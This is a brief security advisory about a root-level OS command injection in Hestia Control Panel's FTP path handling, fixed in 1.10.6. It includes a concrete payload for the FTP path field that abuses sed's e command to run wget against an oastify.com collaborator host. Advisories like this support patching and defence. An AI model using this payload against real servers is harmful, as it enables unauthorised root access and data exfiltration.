OS Command Injection in Hestia Control Panel - #VU164472
Published: November 10, 2026
Vulnerability identifier: #VU164472
CSH Severity: Medium
CVSS v4: 8.7 [CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N]
CVE-ID: N/A
CWE-ID: CWE-78
Exploitation vector: Remote access
Exploit availability:
No public exploit available
Vulnerability details
The vulnerability allows a remote user to execute arbitrary commands as root on the hosting server.
The vulnerability exists due to OS command injection in HestiaCP's v-change-web-domain-ftp-path script when an insufficiently validated FTP path is interpolated into a GNU sed expression. A remote user can submit an existing FTP account's path containing %<newline>e wget -q $(whoami | xxd -p | tr -d [:space:]).COLLAB.oastify.com >&2;# through /edit/web/ for an owned web domain to execute commands through sed's e command as root.
Affected software
Hestia Control Panel
Remediation
Install security update from vendor's website.
Hestia Control Panel - update to 1.10.6